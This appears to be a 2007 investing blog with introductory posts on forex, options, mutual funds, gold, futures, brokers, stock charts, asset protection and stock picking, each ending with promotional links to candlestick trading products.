keyword search

December 31, 2007
Forex Currency Trading
What is Forex Currency Trading?

Forex currency trading is short for “foreign exchange” so trading the forex markets is simply trading foreign currency. The Forex or Foreign Exchange market is the world’s largest financial market, in which the currency of one country is exchanged with another country through a currency exchange rate system. The purpose of successful forex traders is to obtain profit as a result of purchase and sale when foreign currency trading. Through the development of technology forex currency trading is no longer reserved only for the large banking and institutional firms, but is now available to the individual forex investor on a variety of trading platforms. The goal of forex currency trading is to hold a currency that appreciates in value in relation to the other currencies. Forex currency trading is open for trades 24 hours a day and is dominated by four currency pairs. Those include the Euro vs. the U.S. Dollar, the U.S. dollar vs. the Japanese Yen, the U.S. Dollar vs. the Swiss Frand, and the U.S. Dollar vs. the British Pound.

Forex currency trading is different from other markets such as stock trading, futures trading, or options trading, because it does not take place on a regulated exchange. When trading forex all members trade with each other based on credit agreements.  It is purely speculative and there is no physical exchange of currencies. All profits or losses are calculated in dollars, depending on the market price, and are recorded on the trader’s account as computer entries. In forex currency trading there are not limits on the size of your position and there is no such thing as insider trading. In fact, some economic date is actually leaked on days before it is officially released! 

With internet trading, came the advent of the forex currency broker. When trading stocks, online discount brokers are often paid a commission in return for executing the trade per the customer’s instructions. Brokers, that conduct forex currency trading, actually do not obtain a commission but rather obtain their money through the bid-ask spread.  They actually act more as dealers because they assume market risk by serving as a counter part to the investor’s trade.

When conducting forex currency trading there are various terms that you should be familiar with. Greenback, and buck are a couple of terms. These are nicknames for the U.S. dollar used to trade currencyAussie is the nickname for the Australian dollar, and Kiwi is the nickname for the New Zealand dollar. Loonie and little dollar are both nicknames for the Canadian dollar when currency trading, and Swissie is the nickname for the Swiss Franc. There are other terms used for forex currency trading such as figure, which connotes a round number like 1.2000, and a yard which is a billion units.  Are you confused yet? Forex currency trading really is a whole world in itself!

There are also certain things to avoid when forex currency trading. You should avoid strict margin rules because your broker can buy or sell at their discretion. This is a bad thing for you because some brokers will liquidate your position on a margin call that is low even if you have enough cash to cover it. When conducting forex currency trading you should also avoid hunting or sniping. This is the premature buying or selling near preset points.  If a broker resorts to a forex trading strategy of this nature, this is very bad news for you. These acts are shady and no broker will ever admit to doing them. Online currency trading requires that you talk to other forex investors and that you also visit online discussion forums for recommendations of honest brokers.

While it is easier to conduct forex currency trading due to the internet it is still a very complicated and complex market. Be sure to study hard and learn forex trading before investing your money.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


December 23, 2007
Online Option Trading
Online Option Trading for New Investors

Online option trading is the trading of option contracts over an exchange and is most often conducted through online trading brokers. Options trading is an activity that has benefited from the internet and continues to do so as online discount brokers compete for business.  The accessibility that the internet provides makes it easier to find a broker that fits your needs and your price so that you can participate in online option trading. The internet provides so many choices for you to choose from when selecting a brokerage firm, and you can find one pretty quickly.  The investor who practices online option trading also benefits from the vast amount of information available on the internet and no longer has to rely on a small amount of data mixed with gut instinct. There are currently six exchanges in the United States that list options contracts based on underlying stocks. They include the American Stock Exchange (AMEX), the Chicago Board Options Exchange (CBOE), the Philadelphia Stock Exchange (PHLX), the NYSE Arca in New York City, the International Securities Exchange (ISE), and the Boston Options Exchange (BOX). By working with a broker to conduct online option trading, you can buy and sell options in any of these options exchanges.

There are two classes of options that take care of the bull and the bear markets, but also can be longed as well as shorted similar to stock. To be longed when online option trading means to “buy in order to establish a position,” and to be shorted means to “sell in order to establish a position.”  These two classes are referred to as “call options,” and “put options.” A call option is a contract that that allows an option trader to buy stock at the fixed price no matter what the price of the stock may be trading at now. It expires when its fixed date is reached.  In online option trading, a put option behaves opposite of a call option and it allows you to sell stock at a fixed price before the contract expires.

When an investor decides to participate in online option trading, he must first research option strategies and then develop an options trading plan.  Options strategies are calculated ways of using options in order to profit from one or more of the market movements, and are a great alternative to the more traditional methods of buying stock and selling stock. There are many strategies however, in this article we will discuss two that are often used to trade options. There are two types of vertical spreads possible when participating in online option trading. There is the vertical call spread and the vertical put spread. Investors can do two things with these two types of spreads. They can buy it and long the vertical spread, and they can also sell it and short the vertical spread when online option trading. Basically, each of these two positions allows for two positions, long and short. The long vertical call spread is a bullish trade and is constructed by buying one call option with a lower strike price. The investors make this move when it is expected that the stock will increase in value when trading options. A short vertical call spread is a bearish trade and is constructed by selling a call with a lower strike price, while also buying a call in the same month a higher strike price, all at the same time. The investor who makes this move while conducting online option trading anticipates a decrease in the price of a stock. The vertical put spread functions very much in the same manner as the vertical call, but it is just the opposite.  Basically, the maximum value is reached when the stock trades at or below the lower strike and the minimum value is reached when the stock trades to the higher strike.

Online option trading gives investors the ability to participate when the stock market is moving uptrends, downtrends or sideways. It also gives investors the ability to control dollars by trading from anywhere in the world. Online option trading is quickly becoming one the most popular method for investors to make money.  Enroll in a beginners options trading course if you are interested in participating in online option trading.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


December 21, 2007
Investing in Mutual Funds
What You Need to Begin Investing in Mutual Funds

Mutual fund investing requires minimum investments anywhere from a few hundred dollars to a few thousand.  This allows investors to build a diversified strong portfolio much more cheaply than they could otherwise on their own. If you are interested in investing in mutual funds, then you should know what a mutual fund is and what it does. A mutual fund pools money from investors in order to construct a portfolio consisting of stocks and bonds, real estate, and other securities. Each investor participating in the fund gets a portion.  Most mutual funds are actively managed, meaning that the shareholders investing in the mutual funds pay a mutual fund manager to actively buy stocks and bonds and sell stocks and bonds as well.

There are many advantages and disadvantages to investing in mutual funds. One advantage is that mutual funds provides instant holding of several different companies. This leads to portfolio diversification. Another advantage is that mutual funds are very liquid, like individual stocks, mutual funds can converted into cash as requested by the investor. Some disadvantages to investing in mutual funds include the fact that many mutual funds specialize in burying their costs and in hiring salesmen who do not make those costs clear to the clients they are servicing. Another disadvantage is sad but true in that the average mutual fund manager is no better at picking stocks than the average non-professional investor, but will charge fees as though they are. There is also the dilution when investing in mutual funds, that a great performance by a mutual fund will reap great rewards. The truth is that mutual funds typically have such small holdings of so many different stock that is doesn’t make much of a difference in relation to a mutual fund’s total performance.

When investing in mutual funds it is important to look at more than just the past performance of the funds. There are other factors to consider that are listed below.

•           It is important to consider the size and the age of the fund. Be sure to read the prospectus and perform stock research. Mutual funds that are new or that are small will often have excellent short-term performance records. It is important to keep an eye on these when investing in mutual funds as they grow larger. It may not sustain its results due to pattern mentioned above, because as funds grow in size and increase the number of stocks, each stock will potentially have less impact on the funds performance.

•           When investing in mutual funds it is important to know how the fund will impact your tax bill. The law requires a fund to make a capital gains distribution to shareholders if it sells a security for a profit that cannot be offset by a loss. You will own taxes on a capital gains distribution from a fund, even if the fund had a negative return on investment.

•           Be sure to pay attention to the fund’s portfolio turnover rate when investing in mutual funds. This measures the frequency in which it buys and sells securities. If the fund rapidly buys and sells securities it may generate higher trading costs and capital gains taxes.

There are other factors to consider such as the fees and expenses when investing in mutual funds as well as the risk the fund takes to make its return. If you currently own any managed mutual funds, the chances are very high that they are charging you more for their services than they are providing you for the risk you are taking in keeping your money with them. You may want look into investing in index funds. It is very likely that investing in this type of fund will improve your investment performance.

For more information on index funds and investing in mutual funds, there are many websites available to find practically all of the information necessary to get you started.  You should only sell mutual funds, or participate in buying stocks, or make any other financial decisions based on your own research and education. The internet has an abundance of information at your fingertips to get you up-to-speed on trading and investing.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


December 18, 2007
Investing in Gold
Gold prices, just like other commodities or stock, are ultimately driven by supply and demand.  If you are interested in investing in gold it is important for you to understand basic economics in order for you build a strong portfolio.  Centuries of evidence prove a shortage of gold will inevitably lead to higher prices, thus causing the price of gold to increase as well as the production of gold to increase. Once the supply catches up with the demand, then the price of gold will begin to decrease. This sounds easy enough, however, investing in gold, is more complicated than it sounds, and it is important to understand in great detail to avoid making investing mistakes.

There are many ways to participate in investing in gold including buying gold itself, buying gold stocks, investing in gold futures, or buying gold derivatives. Before you begin be sure to determine how much of your portfolio should be invested in gold. Portfolio diversification is a must so do your homework to determine what makes sense once you have a better understanding of the gold market.

When investing in gold, it is important to understand the different strategies used to do it successfully. Some investors use technical analysis and some use fundamental analysis. Technical analysis tools such as chart patters, moving averages, and market trends are used to speculate on the future price of gold. The economic cycle mentioned above is also used when investing in gold using this type of analysis.  Investors may also use fundamental analysis meaning they use macroeconomics including things such as inflation, interest rates, GDP growth rates, and energy prices. They also analyze the global gold supply versus the demand.

The performance of gold bullion, when investing in gold, is often compared to stocks.  They are in fundamentally different asset classes in that gold is a store of value where stocks are a return on value. Stocks and bonds also perform best in a stable political environment with strong property rights and little turmoil. Some analysts argue that while gold may preserve wealth against inflation, it does not present the long term growth potential that stocks do.

Five Rules for Investing in Gold:

1)  Excessive reliance on trading strategies can be dangerous and counterproductive. Do not try to outsmart the market in order to generate returns by hyperactive trading.Returns from a buy and hold strategy are more than enough to compensate forinherent volatility when gold investing.

2)  Investing in gold should be based on macroeconomic considerations. Gold will do well and exposure will be warranted if one suspects rising inflation, bear market in stocks and bonds, or destabilizing deflation.

3)  Bullion or coins are a more conservative approach to investing in gold than through equities. With this investing strategy there is no need to scrutinize the worthiness of the financial institution.

4)  Investing in gold in still controversial and seen as an anti-establishment type of investment. It is imperative that the investor does not rely on the financial media’s commentary or on the brokerage firm’s misleading information either.

5)  Be sure to understand internal dynamics of the gold market as well as the investment timing issues. Pay attention to the weekly position reports of commodity trading funds, and the physical demand for industrial and jewelry.

For many years the central banks around the globe were willing to sell enough gold into the open market to more than cover the huge supply deficit between the mined supply and the world demand. This marginal supply was more than enough to offset the gold deficit each year since the mid 1990’s. However, since 2001 the gold price has been running higher and higher, indicating that the central banks are no longer selling sufficient amounts of gold to make up for the global demand.

If you are interested in investing in gold, now is the time to do it. The investment timing is crucial in that the price of gold will inevitably have to be re priced to a higher level to eliminate the gold shortage. Supply and demand will inevitably need to meet and offset each other in order to do this. If you are still interested in investing in gold, you will be surprised at the high amount of bullish factors that will contribute to your decision.  Find investment strategies that work for you and develop them until you are ready to begin investing in the gold market.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


December 14, 2007
Trading Futures
Trading futures is also known as trading commodities. When you trade futures, you are speculating on the future direction of the price for the commodity that you are trading. You don’t actually own anything like when you buy stock, but instead you are betting on whether the price of the commodities that you are trading will go up or down. Trading futures is the trading of futures contracts that provides the owner the power to trade the commodity at some point in the future, for a fixed rate. Typically the rate is the price rate of the contact creation. Future trades are similar to stock and options trading because they are traded in precise futures commodity trading markets.

There are three types of people who trade futures.  They include the Floor Traders, the Hedgers, and the speculators. When trading futures it is important to know the difference between these three types of traders.  The floor trader buys and sells from their individual accounts directly on the trading floors of the futures exchanges. They are responsible for giving the futures market the liquidity that is needs in order to function. The Hedgers are companies, or individuals, that trade in the futures market so that they can establish a known price level in order to satisfy a future need to buy or sell the underlying futures commodity. They are the actual issuers of the futures contracts. When trading futures, hedgers take action in efforts to protect themselves against the risk of a price change that is unfavorable to them. Speculators act more like stock traders in that they try to make a profit from the price fluctuations of the underlying commodity. They include all types of futures trading including futures day trading, futures swing trading, and futures position traders. There is always someone that is taking the opposite position against the speculator when trading futures.

This type of trading is becoming more popular each day. There are several factors contributing to this popularity. One reason is that it is relatively easy to set up and account and conduct online futures trading. Other reasons that trading futures is becoming more popular include the low transfer rates imposed by futures brokers, the requirement of relatively small initial investments, and the liquidity of the market due to a high volume of trades conducted each day. The main reason goes back to the ease of setting up an online account to trade in that the simplicity of this type of trading allows anyone to trade online that has access to the internet.

When trading futures there are basically two types of contracts. They include a financial futures contract and a commodity futures contract. Financial futures contracts include contracts that end in cash settlement. They could include mutual funds, bonds, treasury notes, and the like. Commodity futures contracts actually end in physical delivery. They could include agricultural commodities such as wheat, oats, rice, or they could be animals, crude oil, metals, etc. When trading futures, no one really ever has to take, make, or deliver the underlying product that the contract represents. Most of the time, successful traders actually offset their position at some point in time before the date of the contract is due.

When trading futures, there are two types of commodity brokers that are monitored by the federal agency Commodity Futures Trading Commission (CFTC).  These two brokers include fa ull-services broker, and a discount broker. The brokers will charge a fee for maintaining trader records, and the fee depends on the trading frequency, trading volume and the account status of the futures trader. Regardless of the type of broker you use when trading futures, they are responsible for maintaining the trader’s margin deposits, their money balances, and the open futures and transaction completed.

There is inconsistency in futures trading in that most people think of it as a way to get-rich quick. It is true that many investors do get rich as a result of trading futures, however, most investors end up losing money. Trading futures is a practice that requires experience, training and extensive knowledge of technical analysis.  If you are willing to put in the time and practice necessary to educate yourself in trading futures, you should be well on your way to success!

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


December 11, 2007
Forex Trading Strategy
Forex trading involves the trading of international currencies on the forex markets. It is the most liquid of all the markets therefore requiring a forex trading strategy. There are two types of strategies that you can use when trading forex. They include technical analysis as the first forex trading strategy and fundamental analysis as the second. In this article we will discuss both fundamental and technical analysis as well as the most important part of forex trading. The most important part of trading to a forex investor is the “exit” strategy. We will also list in this article the major currencies that you can choose from to trade.

Many successful traders prefer to use technical analysis tools as a forex trading strategy because it uses historical economic data to predict movements in the forex market. With stock technical analysis many traders like to work with support and resistance levels.  Both levels are important because once a currency prices drops below its support level it will most likely continue to fall.  Likewise, once the price exceeds its resistance level it will most likely continue to climb. A support price is a low price to which a currency repeatedly returns. This represents the bottom of the market. The resistance price, on the other hand, is the high price that currency reaches at times, but above that which it tends to resist. Stock market technical analysis used as a forex trading strategy also includes the use of moving averages that will show the average price of a currency over a specific period of time within a longer period.  When using moving averages you can get a clear picture of a currency over time and can eliminate short-term fluctuations in a currency price.

The other forex trading strategy is stock fundamental analysis. This type of stock analysis examines current political and economic events in order to predict movements in currencies. It also requires extensive knowledge in relation to changes in trade agreements, trading patterns, interest rates, and employment figures. The problem with fundamental analysis as a forex trading strategy is that it requires a lot of detailed information. The amount of detailed information that must be known to do this successfully is seen to many successful forex traders as impractical. Technical analysis is an alternative approach that can be applied across many different markets and currencies at the same time.

The last forex trading strategy discussed in this article is the “exit” strategy. This strategy deals with understanding when to exit the market and is most often the hardest of all of the trading strategies. The reason this forex trading strategy is the hardest is not due to its complexity but rather the emotion involved that will often pull you in the wrong direction.  This is referred to as Greed and Fear and it will get you into trouble if you do not practice a strong exit strategy. There are a few techniques within this forex trading strategy that will help avoid this pitfall. First of all, don’t make it too complicated. Create a few simple rules based on the time-frame of the stock charts that you are using, and stick to it. By making a rule this ensures that you don’t have to consult with your emotions each time you need to exit the stock market, but instead you commit to your exit strategy. (It only works of course if you in fact, do commit to the strategy you have devised.)

As promised, below is a listing of the major currencies that you should choose from when practicing your forex trading strategy.

1)         British Pound (GBP)

2)         Japanese Yen (JPY)

3)          US Dollar (USD)

4)         Swiss Franc (CHF)

5)         European Union Euro (EUR

6)         Australian Dollar (AUD)

7)         New Zealand Dollar (NZD)

8)         Canadian Dollar (CAD)

Be sure to familiarize yourself with market behaviors by following forex charts, and by studying the movements so that you also become familiar with the stock market trends. Decide which forex trading strategy works for you and become an expert. Maybe you decide to use both strategies? Either way, the most important thing is that you do your homework and become and expert with trading and investing your money before you begin.


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


December 7, 2007
Online Discount Brokers
Diving Deeper into Online Discount Brokers

When looking to begin investing in the stock market, it is important to understand the different types of stock brokers available for you to work with. There is the full-service broker, the online discount broker, and the deep-discount broker. Below is an explanation of the three types of brokers in which we will focus mainly on the online discount broker.

Full-Service Broker:
These brokers offer a variety of financial products, as well as investing advice, investment strategies, and research. They charge higher fees than online discount brokers, and they may offer stocks and bonds, annuities, derivatives, and insurance. A full-service stock broker is compensated by how often you trade, and not according to how well your stock portfolio performs.

Online Discount Broker: These brokers offer lower commission rates which are primarily achieved through the automation of trading and investing and customer service. They can often charge lower fees for the investor they are servicing in a couple of ways. Online discount brokers often specialize in high volume stock trading which reduces rates by offering ECN rebates to traders providing liquidity. They also will often have access to alternate quotation services, allowing trades to execute without incurring exchange fees. Rather than make money on commission, the online discount broker makes money by widening the spread, or by selling the right to execute the order to a market maker who can widen the spread.

Deep Discount Broker:
If price is your primary concern, then you will want to trade stock using a deep discount broker. Online discount brokers of this nature offer a one-way trade for a set price per trade and most of them have an 800 number that functions as an automated trading service. This allows you to place your orders over the phone without actually having to talk to a real person when you are buying stock, or selling stock. Mostly all of these types of brokerage firms offer an online stock trading program where you can buy stock and sell stock right on your computer. Online discount brokers (deep discount brokers) also provide easy access to your stock portfolio.

Tips for Choosing and Online Discount Broker:

Tip #1:
Be sure to check out the websites to ensure that each site’s interface is easy for you to follow. It should be instinctual and intuitive (in comparison to other sites) and should be a site that you can see yourself working with every day when you are trading stock online

Tip #2:
Customer service is the key to choosing an online discount broker. You can test this by requesting information or materials online from the brokerage firm to see how fast they reply and to see how relevant and helpful the material is in relation to online stock market trading.

Tip #3:
Check out the fees. Many of the fees associated with picking an online discount broker focus on the price per trade. You have to determine if you want the cheapest price per trade, a middle of the road fee, or the highest fee. There is no right or wrong answer, but you must differentiate between what is associated with the costs and the level of service in order to determine your needs for successful trading through an online discount broker.

Tip #4:
Take a peek at any perks and freebies. Sometimes online discount brokers can give you stock market advice books, internet access, money, or frequent flier miles through their firms as an added bonus. This shouldn’t determine your answer, but may sway you in one direction if you need a tie-breaker. 

When deciding which online discount broker you will use, please note that it is a highly competitive business due to the great number of online discount brokers available. For those of you who don’t want to invest a lot of money, and wish to do your own research in the stock market, an online discount broker is the way to go.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


December 4, 2007
Stock Market Charts
Stock Market Charts and Other Trading Concepts

Technical analysts and/or chartists use stock market charts to analyze a wide array of securities and to forecast future price movements. Chartists use technical analysis which is the research and examination of the stock market and securities as it relates to their supply and demand in the marketplace. Chartists believe that recurring trading patterns can assist them in forecasting future price movements. Chartists use stock market charts along with computer programs and they do not consider a company’s financial data to be of significance when reading stock charts.

Stock market charts are actually price charts. These charts plot technical indicators such as the closing price, moving averages, and trading volume to assist in determining stock market trends. When learning how to read stock charts you should know that price charts are offered with intra-day, daily, weekly, and monthly resolution to provide multiple views of the most recent price data.  There are four types stock market charts that are the most commonly used among traders. These include the line chart, the bar chart, the point and figure chart, and the Japanese candlestick chart.

Line Chart: Stock market charts such as the line chart is used when the investors considers the closing level to be more important that the open, high or low and also when the open, high, and low data points are not available.

Bar Chart: On stock market charts such as the bar chart each bar represents price performance for a specific period. Daily bar charts are the most popular bar charts used when stock charting. The top of the bar represents the high, the bottom of the bar represents the low, and the line sticking out from the right of the bar represents the close.

Point & Figure Chart: Stock market charts such as the point and figure charts are used to identify support levels, resistance levels, and the stock chart patterns. These charts ignore the time factor and concentrate only on movements in price.

Japanese Candlestick Chart: The Japanese have used candlesticks since the 17th century to analyze the price of rice! The use of candlestick chart patterns was introduced into modern stock technical analysis and is one of the most popular stock market charts used today.  Candlestick chart analysis is similar to bar chart analysis accept that it highlights the relationship between opening and closing prices. Candlestick chart formations are much more visually appealing and informative than a standard two-dimensional bar chart.  It is important to know when studying stock market charts, that bar charts cannot reflect the difference between a price extreme and a high or low and lack the shadows of a basic candlestick chart, For example, a stock that opened high, but traded low for the day would not be accurately depicted in a bar chart. In a basic Candlestick chart, however, the Upper Shadow would show the extreme of the opening price as well as the trading range for the day.  A typical bar chart is simply unable to provide as detailed information when compared to the candlestick chart. Candlestick charts are often the most preferred when deciding which of the stock market charts an investor would like to use.

When utilizing stock market charts traders look for the technical indicators.  Technical indicators are a series of data points that are derived by applying a formula to the price data of a security. In other words technical indicators, used with one of the above mentioned stock market charts, are what traders use to predict the direction of future prices when stock trading. Technical indicators can be used to confirm other technical analysis tools. For instance, if there is a breakout on the price chart, a corresponding moving average crossover could serve to confirm the stock price breakouts.

Before you begin investing in the stock market, it is important to study stock market charts. Understanding the different types of charts, and the methodologies involved in reading them is crucial to investors to become successful traders.
 

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


November 30, 2007
Asset Protection
Asset Protection – Are You Protected?
So you managed to build a strong portfolio? You perform asset allocation successfully and through portfolio management, you have managed to achieve and can maintain portfolio diversification. You invested in your education and now your developed investment strategies have finally paid off! Now you need to protect your investments through asset protection.

What is asset protection?
It can be referred to as the debtor-creditor law and includes a set of legal techniques that deals with protection of assets of the individual and protection for business entities from civil money judgments. Asset protection involves planning the application of a series of lawful techniques designed to defer creditors or to make it difficult for future creditors to get a hold of your assets. This investing advice is a concept that you may want to seek profession guidance on.

When developing your strategy for asset protection there are several factors to consider. You need to consider the type of assets you own (bonds, dividend paying stocks), your total net worth, and most importantly your degree of exposure to risk of liability. Others factors to consider may include the aggressiveness and intelligence of the creditor going after your assets and the timing of the claim or lawsuit. It is preferable for investors to engage in asset protection planning before there is any need for it. This should happen in addition to defensive investing which should occur first.

The concept of asset protection is based on the principle that the majority of assets owned by a person can be reached by a creditor. The goal is to remove assets from a debtor’s legal ownership while still maintaining control and ownership that is beneficial. There is a very hard line between “legal” asset protection planning and criminal actions taken to defraud creditors. Many investors require the use of an attorney to walk them through the process in order to understand legal implications and restrictions and in order to avoid huge investing errors.

Asset protection often includes the setting up of trusts, limited partnerships, and/or offshore entities to hold legal title to your assets when long term investing. There are dozens of different asset protection structures in use today for those who participate in trading and investing. An example of one includes the protection of a personal residence. There are many options some of which may include the following:

      1)   Transferring ownership to an irrevocable trust

2)       The transferring of ownership to a living trust with a generic name.

3)       Recording a naked deed of trust

4)       Sale of the residence

Assets that are owned by a debtor through a legal entity are not deemed to be owned by the debtor due to the fact that legal entities have separate juridical existence. Keep in mind however, that if the debtor own assets through a corporation (shareholder), those shares of stock can be seized by the creditor, possibly giving them access to the corporation’s assets and control of the corporation!

Previously in this article there was information explaining the need for many investors to acquire an attorney when planning for asset protection. One reason for this is that there are asset protection scams that are offered to investors, that an attorney will be able to catch. The most widespread scam today is the Pure Trust Scam. This involves a non-existing form of a trust that goes by a variety of aliases some of which include, the Patriot Trust, the Common Law Trust, the Foreign Common Law Trust Organization, to name a few. The purpose of this method is to hide the existence of the trust and has been deemed by the courts to be an illegal purpose of tax evasion, among other things. No matter how good it sounds, talk to your attorney to find out the legal implications and investing advice. This is not a road you want to go down.

To understand the concept of asset protection, read up on the definition of asset allocation, asset classes, and take tutorials for additional help with investing.  Once you have built a strong and diversified portfolio, be sure you protect it!


Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


November 27, 2007
Online Stock Trading Game
The Online Stock Trading Game – Open Positions Available

The online stock trading game is becoming a very popular way for serious investors to trade stock and is also widespread due to the competing costs for the use of online brokerage firms. Through the use of computers investors are in total control of their investments without having to go through a stock broker.  With the internet available to so many, brokerage firms are able to lower commission prices in order to compete for business. While commission prices are more affordable, it is important to remember that the online stock trading game can come at a great cost. Internet stock trading is a way to get rich, but it is a very slow process that takes time and most importantly requires extensive and ongoing education in the stock market.

If you are sincerely interested in participating in the online stock trading game, there are a few things that you need invest in. The most important was noted above and that is the education in learning how to play the stock market. It cannot be stressed enough, the importance in doing your homework in trading and investing. You will also need an online brokerage firm. Luckily now that investors can trade stock online, commission fees are much lower than in the days before the internet where stock brokers where able to charge bloated commission fees.  Lastly, you will of course need money to invest in the stock market.  Trading stock online is said to follow the 80/20 rule. What this means is that 80 percent of investors who practice internet trading lose money immediately and only the other 20 percent are successful at investing in stock. This can be discouraging to investors interested in getting into the online stock trading game, but at the same time it is exciting to know that only 20 percent of traders get to take advantage of 100 percent of the money invested!

When you begin the online stock trading game, be sure that you take some things into consideration. For example, it is important that each investor matches their trading style to their life style. Do you want to practice day trading? Would you rather trade weekly, monthly, annually?  Short term vs. long term investing will dramatically affect the length of time and intensity of trading. If you don’t know for sure, then you must go back to the stock trading basics and decide which style is better for you. Also, it is wise to join an online stock trading community in order to surround yourself with other online stock traders who are successful at what they do. This is probably your best trading resource in that you can discuss successful tips and tricks among each other, as well as huge mistakes made and lessons learned from participating in the online stock trading game.

The online stock trading game requires that you not only know the opportune time to buy stock, but more importantly when to sell stock.  The most successful traders know exactly when to get in and exactly when to get out. Not only do they know this, but they also perform based purely on the investment strategies they have studied and developed, and not on Greed and Fear!  The online stock trading game is one that can cause a range of emotions in a relatively short period of time. Once you are able to control both greed and fear, and stick to what you have learned, you are one step closer to becoming that 20 percent of successful traders.

Remember the online stock trading game is a risky one, however, with the tools and information so readily at our finger tips, it is one that can make you all the richer if you take the time to invest in yourself and in your knowledge of the stock market.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


November 25, 2007
Portfolio Management
Portfolio Management – Investing Concept Among Many

Portfolio management is an easy concept in itself, however the trick is in understanding the numerous investing concepts and strategies that portfolio management entails. A portfolio is a collection of investments held by either an institution or a private individual. Portfolio management involves deciding what assets should be included to build a strong portfolio. This can differ based on the individual investor’s goals and the ever changing economy. When building your portfolio it is important to maintain portfolio diversification, meaning that the individual investor should own several assets including stocks and bonds, gold certificates (gold investing), futures contracts, real estate, options, warrants, and any additional items expected to maintain value. Portfolio management involves the use of many investing concepts, some of which are explained below.

Portfolio management involves asset allocation which is essential in diversifying your portfolio. You must decide which assets to purchase, when to purchase them, how many to invest in, and how many should be in equities vs. fixed income investments. Additionally the individual investor must anticipate the potential return on investment and the volatility of each asset class. There are three different types of asset allocation utilized in portfolio management. These include long-term, strategic, and tactical. Long-term is based on a term of more than 25-year cycles, strategic is based on time periods of five to ten year return expectancies, and tactical is based on expected one-year returns. Investors will agree that there are also four types of asset classes. These include stocks, bonds, money markets and real estate. When used correctly, each asset class is a valuable tool to the investor to build a successful portfolio through the use of portfolio management.

Portfolio management also includes the concept of investment management. Investment management involves the management of securities and assets in order to meet investment goals to benefit the individual investor.  It is important that the individual investor keeps up with changing economic conditions to serve the investment goals. One way this can be done is through financial analysis, but may also include, asset selection, and stock selection (in creation of a stock portfolio), all together combined with continuous examination of investments all of which are done through portfolio management.

There are important concepts to follow during portfolio management in order to control investment risk. These include reallocation of assets and the rebalancing of assets in your portfolio. Rebalancing includes the buying and selling of assets in order to restore your portfolio to its original target allocation. This requires that the investor sell those assets that are performing well and buy those assets that are currently out of turn. The investing strategy important here it to buy assets that may be currently short of success, but that have the potential for growth.  It is important to understand that reallocation, in portfolio management, is different from rebalancing because it requires new asset allocation to reflect a different risk level. With rebalancing you are making changes to your portfolio to keep the risk level the same. Successful portfolio management requires the knowledge of a lot of important investment concepts. For information on investment strategies in the stock market, there are many recommended articles available online regarding fundamental analysis and technical analysis tools.

Understanding many different investment options is important to successful portfolio management. The ability to diversify over a broad range of options will help to minimize the dramatic emotions involved with investing.

Online Stock Market Reviews presented live via the internet by Stephen Bigalow
High Profit 

Candlestick Patterns Book
WORDEN Brothers - TeleChart 2007
The Candlestick Forum Option Training
5-Star 

Trading Plan


November 20, 2007
Stock Picking
Stock Picking Tips & Strategies

The first stock picking tip is the need to understand fundamental analysis. This type of stock analysis looks at key ratios of a company to determine its financial health thus providing some idea as to the value of that company’s stock. This stock picking strategy is used in combination with other strategies or can be used alone for evaluation of stock. Another stock picking tip includes choosing stocks with reasonable share prices.  You can do this by utilizing the price to earnings ratio.  The formula used to attain this ratio is the recent share price divided by the last 12 months earnings per share. This technique is useful because it can predict shares with strong earnings growth.

Perhaps the most important and commonly noted stock picking tip is portfolio diversification.  This is by far your best protection again risk.  Investing in multiple investment options instead of choosing to place all of your investments in only one area will serve you very well. Thus you should avoid investing more than 20% of your funds into any one industry.

Human emotion and how to control it is also very important when participating in stock picking.  Stocks do not always do what you anticipate and emotions can change unpredictably and quickly. Fear and greed is what keeps most investors from making profits in the markets and tends to happen once confidence is lost. To prevent this it is imperative that you develop a trading plan and you do your research.  Due diligence is key to stock picking.

Some investors advise that when participating in stock picking, investors should stay away from cheap stocks. Cheap stocks are indicated by a low price to sales ratio. Typically good investors do not jump on cheap stocks, but they take the time to recognize what the fair price for a specific stock is. These investors do not rush into overpaying for stocks either. Good investors look at the company and other factors when determining the price rather than simply jumping on cheap stocks.

Successful stock picking means that you obviously want to pick those stocks that are also profitable. It is stated quite simply that profits drive share prices. How companies drive growth is also important in that you want to choose a company that does not borrow or sell more shares, but rather finances growth from profits.  A company cannot fund growth more than its return on equity, so look for companies that have at least 15% return on equity. Most investors will look for at least a 15% expected earnings growth, and more.  The earnings estimates will assist you with this as well. It is a projected, “educated guess” at the upcoming performance of a particular company. When coupled with a company’s past earnings, earnings estimates can have a certain amount of credibility since barring any unforeseen circumstances, a company will tend to maintain its existing trend.

Successful stock picking also means that your stocks should offer a total return higher than the 10% historical market average. A stock with an 11% earnings growth and a 2% yield could potentially provide a 13% annual total return. (To estimate the potential return you would add the dividend yield to the projected earnings growth rate).  Keep in mind that high growth stocks are typically overpriced and have a harder time meeting investor expectations. Basically, this means that stocks with moderately above average growth rates are the best pick when picking stocks.

